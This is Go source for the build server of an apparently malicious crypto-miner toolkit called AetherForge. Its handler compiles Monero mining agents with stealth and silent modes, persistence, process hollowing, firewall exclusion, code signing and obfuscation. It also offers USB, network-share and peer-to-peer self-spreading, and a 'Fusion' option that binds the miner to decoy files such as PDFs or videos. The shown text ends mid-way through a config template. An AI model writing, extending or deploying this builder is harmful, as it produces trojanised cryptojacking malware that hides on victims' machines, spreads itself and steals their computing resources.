Files
AetherForge/server/internal/builder/handler.go
AetherForge 01d76b3730 Improve fleet control, Crucible ops, and multi-machine identity.
Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
2026-06-02 19:19:50 -07:00

1229 lines
37 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package builder
import (
"context"
"encoding/json"
"fmt"
"io"
"log"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
)
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
BackupServerURLs []string `json:"backup_server_urls"`
Wallet string `json:"wallet"`
OutputDir string `json:"output_dir"`
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"`
MiningMode string `json:"mining_mode"`
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
FirewallExclusion bool `json:"firewall_exclusion"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
FusionPayloadKind string `json:"fusion_payload_kind"`
FusionMediaMode string `json:"fusion_media_mode"`
FusionMediaBaseName string `json:"fusion_media_base_name"`
FusionExportSubdir string `json:"fusion_export_subdir"`
// AI Autonomy (Ollama)
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
USBSpread bool `json:"usb_spread"`
ShareSpread bool `json:"share_spread"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
CancelToken string `json:"cancel_token,omitempty"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
type BackupPool struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"tls"`
Pass string `json:"pass"`
}
type BuildResponse struct {
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
UninstallFileName string `json:"uninstall_file_name,omitempty"`
UninstallPath string `json:"uninstall_path,omitempty"`
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
ExportPath string `json:"export_path,omitempty"`
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
FusionExportDir string `json:"fusion_export_dir,omitempty"`
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
BundleFileName string `json:"bundle_file_name,omitempty"`
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
BundleSize int64 `json:"bundle_size,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
Error string `json:"error,omitempty"`
}
type BuildArtifactFile struct {
FileName string `json:"file_name"`
FilePath string `json:"file_path,omitempty"`
}
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
if len(arts) == 0 {
return nil
}
out := make([]models.BuildExtraFile, len(arts))
for i, a := range arts {
out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath}
}
return out
}
type Handler struct {
db *db.Database
dataDir string
agentSrcDir string
projectRoot string
goBinPath string
garblePath string
goWinresPath string
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
activeCancelsMu sync.Mutex
activeCancels map[string]context.CancelFunc
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
h.activeCancelsMu.Lock()
cancel, ok := h.activeCancels[cancelToken]
h.activeCancelsMu.Unlock()
if ok {
cancel()
}
return ok
}
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
h.activeCancelsMu.Lock()
if h.activeCancels == nil {
h.activeCancels = make(map[string]context.CancelFunc)
}
h.activeCancels[token] = cancel
h.activeCancelsMu.Unlock()
}
func (h *Handler) unregisterCancel(token string) {
if token == "" {
return
}
h.activeCancelsMu.Lock()
delete(h.activeCancels, token)
h.activeCancelsMu.Unlock()
}
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
ToolPath string `json:"tool_path"`
TimestampURL string `json:"timestamp_url"`
}
type BuildPolicy struct {
StrictWalletValidation bool
MaxBuildSizeMB int
DefaultObfuscate bool
Sign SignPolicy
}
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
h.policy = p
}
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
goBin := "go"
if _, err := exec.LookPath("go"); err == nil {
goBin = "go"
}
h := &Handler{
db: database,
dataDir: dataDir,
agentSrcDir: agentSrcDir,
projectRoot: projectRoot,
goBinPath: goBin,
}
h.resolveToolPaths(projectRoot)
return h
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if req.FusionEnabled {
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
return
}
defer file.Close()
if req.FusionMediaBaseName == "" && header.Filename != "" {
req.FusionMediaBaseName = header.Filename
}
if req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else if err == nil {
file.Close()
}
} else {
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
}
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
if req.FusionEnabled && prepPath == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
return
}
// Register cancel token so the frontend can abort this compile mid-flight.
// The ctx is threaded all the way down to exec.CommandContext, so cancellation
// immediately sends SIGKILL to the running go/garble process.
ctx := r.Context()
if req.CancelToken != "" {
var cancelFn context.CancelFunc
ctx, cancelFn = context.WithCancel(ctx)
h.registerCancel(req.CancelToken, cancelFn)
defer h.unregisterCancel(req.CancelToken)
}
// FusionOutputName will be derived from the payload filename if not set
resp, status, outputPath := h.buildAgent(ctx, &req, prepPath)
if !resp.Success {
writeJSON(w, status, resp)
return
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
http.ServeFile(w, r, outputPath)
return
}
writeJSON(w, http.StatusOK, resp)
}
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var prepSize int64
var prepName string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
return
}
defer file.Close()
if header != nil {
prepSize = header.Size
prepName = header.Filename
}
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
return
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
if !req.FusionEnabled {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
return
}
if req.FusionOutputName == "" && prepName != "" {
req.FusionOutputName = prepName
}
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
writeJSON(w, http.StatusOK, est)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
if _, err := os.Stat(build.FilePath); err != nil {
http.Error(w, "Build file missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
if _, err := h.db.GetBuild(buildID); err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
name := sanitizeFileName(chi.URLParam(r, "name"))
if name == "" || strings.Contains(name, "..") {
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
return
}
buildDir := filepath.Join(h.dataDir, "builds", buildID)
path, err := safePathUnderRoot(buildDir, name)
if err != nil {
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
title = sanitizeFileName(filepath.Base(title))
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
}
}
if err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
if _, err := os.Stat(path); err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
http.ServeFile(w, r, path)
}
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
// Uninstall script lives in buildDir (builds/<id>/), NOT in the platform
// sub-directory where the binary lives (builds/<id>/windows-amd64/).
// Compute directly from dataDir + buildID to avoid path-stripping mistakes.
buildDir := filepath.Join(h.dataDir, "builds", buildID)
uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)))
if _, err := os.Stat(uninstallPath); err != nil {
http.Error(w, "Uninstall script missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
http.ServeFile(w, r, uninstallPath)
}
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(ctx, req, prepPath)
}
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
platforms := platformsForRequest(req)
p := platforms[0]
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
workerName := filepath.Base(outputPath)
finalPath := outputPath
finalName := workerName
var fusionEnabled bool
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
if err != nil {
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
var extraArtifacts []BuildArtifactFile
var fusionRes *fusionBuildResult
if req.FusionEnabled {
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
}
var err error
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath = fusionRes.LauncherPath
finalName = filepath.Base(finalPath)
fusionEnabled = true
if fusionRes.EncryptedPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.EncryptedPath),
FilePath: fusionRes.EncryptedPath,
})
}
if fusionRes.ShortcutPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.ShortcutPath),
FilePath: fusionRes.ShortcutPath,
})
}
}
var fusionExportDir string
var bundleFileName string
var bundleDownloadURL string
var bundleSize int64
exportPath := ""
if fusionEnabled {
exportLabel := req.FusionMediaBaseName
if exportLabel == "" {
exportLabel = filepath.Base(prepPath)
}
arts := map[string]string{finalName: finalPath}
for _, ex := range extraArtifacts {
arts[ex.FileName] = ex.FilePath
}
// In paired mode the runner looks for the payload file next to (or above) the binary.
// Include it in the deliverable so the ZIP is self-contained without needing the
// user to place the file themselves.
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
}
subdir := fusionExportSubdir(req, exportLabel)
readme := fusionReadmeInfo{
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
RunnerName: finalName,
MediaName: filepath.Base(exportLabel),
PayloadKind: req.FusionPayloadKind,
MediaMode: req.FusionMediaMode,
}
if readme.Title == "" {
readme.Title = sanitizeFileName(req.WorkerName)
}
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionExportDir = dir
exportPath = filepath.Join(dir, finalName)
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: "README.txt",
FilePath: filepath.Join(dir, "README.txt"),
})
for i := range extraArtifacts {
if extraArtifacts[i].FileName != "README.txt" {
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
}
}
bundleFileName = fusionBundleZipName(subdir)
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
if err := zipDirectory(dir, bundleBuildPath); err != nil {
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
if st, err := os.Stat(bundleBuildPath); err == nil {
bundleSize = st.Size()
}
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
} else {
var err error
exportPath, err = h.publishRootExecutable(finalPath, finalName)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
if exportPath == "" {
exportPath, _ = filepath.Abs(finalPath)
}
if strings.TrimSpace(req.OutputDir) != "" {
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
log.Printf("[Builder] secondary export: %v", err)
} else {
_ = eu
if exportPath == "" {
exportPath = ep
}
}
}
signed := false
if h.shouldSignBuild(req) {
if err := h.signExecutable(finalPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
signed = true
if exportPath != "" && exportPath != finalPath {
_ = h.signExecutable(exportPath)
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
if h.policy.MaxBuildSizeMB > 0 {
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
if fileInfo.Size() > maxBytes {
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
}
}
absPath, _ := filepath.Abs(finalPath)
relPath, _ := filepath.Rel(h.projectRoot, absPath)
if relPath == "" || strings.HasPrefix(relPath, "..") {
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
}
// Normalise platform tag for easy lookup by /get endpoint
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
if recordPlatform == "" {
recordPlatform = "windows"
}
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
if bundleDownloadURL != "" {
dlURL = bundleDownloadURL
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
ServerURL: req.ServerURL,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
BundleSize: bundleSize,
FilePath: absPath,
FileName: finalName,
DownloadURL: dlURL,
ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts),
Platform: recordPlatform,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
PoolPort: req.PoolPort,
PoolTLS: req.PoolTLS,
PoolPass: req.PoolPass,
}
if err := h.db.InsertBuild(buildRecord); err != nil {
log.Printf("Failed to record build: %v", err)
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
resp := BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
UninstallFileName: uninstallName,
UninstallPath: uninstallPath,
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
ExportPath: exportPath,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
FusionExportDir: fusionExportDir,
ExtraFiles: extraArtifacts,
BundleFileName: bundleFileName,
BundleDownloadURL: bundleDownloadURL,
BundleSize: bundleSize,
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
resp.FileName = bundleFileName
if bundleSize > 0 {
resp.FileSize = bundleSize
}
}
return resp, http.StatusOK, finalPath
}
// publishRootExecutable writes the forged installer as a single file in the project root.
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
if h.projectRoot == "" || h.projectRoot == "." {
abs, _ := filepath.Abs(finalPath)
return abs, nil
}
dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
if err := copyFile(finalPath, dest); err != nil {
return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
}
log.Printf("[Builder] Forge output -> %s", dest)
return dest, nil
}
// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
clean := strings.TrimSpace(outputDir)
if clean == "" {
return "", "", nil
}
clean = filepath.Clean(clean)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
}
exportDir := ""
if h.projectRoot != "" {
exportDir = filepath.Join(h.projectRoot, clean)
} else {
exportDir = filepath.Join(h.dataDir, clean)
}
if err := os.MkdirAll(exportDir, 0755); err != nil {
return "", "", fmt.Errorf("failed to create export folder: %w", err)
}
exportExe := filepath.Join(exportDir, finalName)
if err := copyFile(finalPath, exportExe); err != nil {
return "", "", fmt.Errorf("failed to export build: %w", err)
}
exportUninstall := filepath.Join(exportDir, uninstallName)
_ = copyFile(uninstallPath, exportUninstall)
log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
return exportExe, exportUninstall, nil
}
func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.WorkerName == "" {
return fmt.Errorf("worker_name is required")
}
if req.ServerURL == "" {
return fmt.Errorf("server_url is required")
}
if req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90106 chars)")
}
req.OutputDir = strings.TrimSpace(req.OutputDir)
if req.OutputDir != "" {
// must be relative to data_dir; no drive letters, no absolute paths, no traversal
clean := filepath.Clean(req.OutputDir)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
return fmt.Errorf("output_dir must be a relative folder under data_dir")
}
req.OutputDir = clean
}
if req.Threads <= 0 {
req.Threads = 4
}
if req.ThreadMode == "" {
req.ThreadMode = "percent"
}
if req.ThreadPercent <= 0 {
req.ThreadPercent = 75
}
if req.ThreadPercent > 100 {
req.ThreadPercent = 100
}
if req.DisplayMode == "" {
if req.SilentMode {
req.DisplayMode = "silent"
} else {
req.DisplayMode = "background"
}
}
if req.Persistence {
req.AutoStart = true
}
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 70
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
}
if req.MiningMode == "" {
req.MiningMode = "always"
}
if req.RunAs == "" {
req.RunAs = "user"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
}
if req.IdleDurationMinutes <= 0 {
req.IdleDurationMinutes = 5
}
if req.ScheduleStart == "" {
req.ScheduleStart = "21:00"
}
if req.ScheduleEnd == "" {
req.ScheduleEnd = "06:00"
}
if req.InstallBase == "" {
req.InstallBase = "localappdata"
}
if req.InstallRelativePath == "" {
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
}
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
return fmt.Errorf("install_custom_base is required when install_base is custom")
}
if req.StealthMode {
req.FileLogging = false
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
if req.PoolHost == "" {
req.PoolHost = "pool.supportxmr.com"
}
if req.PoolPort <= 0 {
req.PoolPort = 3333
}
if req.PoolPass == "" {
req.PoolPass = "x"
}
if req.FusionEnabled {
if req.FusionRunOrder == "" {
req.FusionRunOrder = "parallel"
}
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.FusionMediaMode == "" {
req.FusionMediaMode = "paired"
}
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
if req.AIEnabled {
if req.AIOllamaEndpoint == "" {
req.AIOllamaEndpoint = "http://localhost:11434"
}
if req.AIModel == "" {
req.AIModel = "llama3.2"
}
}
if strings.TrimSpace(req.TargetOS) == "" {
req.TargetOS = "windows"
}
if req.SpreadKit {
req.FusionEnabled = false
req.TargetOS = "universal"
if req.RunAs == "" || req.RunAs == "user" {
req.RunAs = "scheduled"
}
req.Persistence = true
req.AutoStart = true
}
return nil
}
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
if header == nil {
return "", nil, fmt.Errorf("fusion upload is missing")
}
if header.Size > FusionMaxUploadBytes {
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
if header.Size < 0 {
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
}
baseName := filepath.Base(header.Filename)
if baseName == "" || baseName == "." {
return "", nil, fmt.Errorf("fusion upload filename is invalid")
}
if !isFusionPayloadExt(baseName) {
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
}
prepRoot := filepath.Join(h.dataDir, "preps")
if err := os.MkdirAll(prepRoot, 0755); err != nil {
return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
}
dir, err := os.MkdirTemp(prepRoot, "upload-*")
if err != nil {
return "", nil, err
}
dest := filepath.Join(dir, sanitizeFileName(baseName))
out, err := os.Create(dest)
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
out.Close()
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
if written == 0 {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload is empty")
}
if written > FusionMaxUploadBytes {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
cleanup := func() { _ = os.RemoveAll(dir) }
return dest, cleanup, nil
}
// isFusionPayloadExt accepts any file with a non-empty extension.
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
func isFusionPayloadExt(name string) bool {
ext := strings.ToLower(filepath.Ext(name))
return ext != "" && ext != "."
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
Threads: %d,
ThreadMode: %q,
ThreadPercent: %d,
CPUPriority: %q,
MiningMode: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
PoolHost: %q,
PoolPort: %d,
PoolTLS: %v,
PoolPass: %q,
MaxCPUUsage: %d,
MaxMemoryPct: %d,
MinFreeRAM: %d,
IdleThresholdPct: %d,
IdleDurationMinutes: %d,
ScheduleStart: %q,
ScheduleEnd: %q,
InstallBase: %q,
InstallCustomBase: %q,
InstallRelativePath: %q,
AdaptToHardware: %v,
SelfHealing: %v,
FileLogging: %v,
StealthMode: %v,
FirewallExclusion: %v,
AIEnabled: %v,
AIOllamaEndpoint: %q,
AIModel: %q,
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
HolePunch: %v,
RemoteAggressive: %v,
USBSpread: %v,
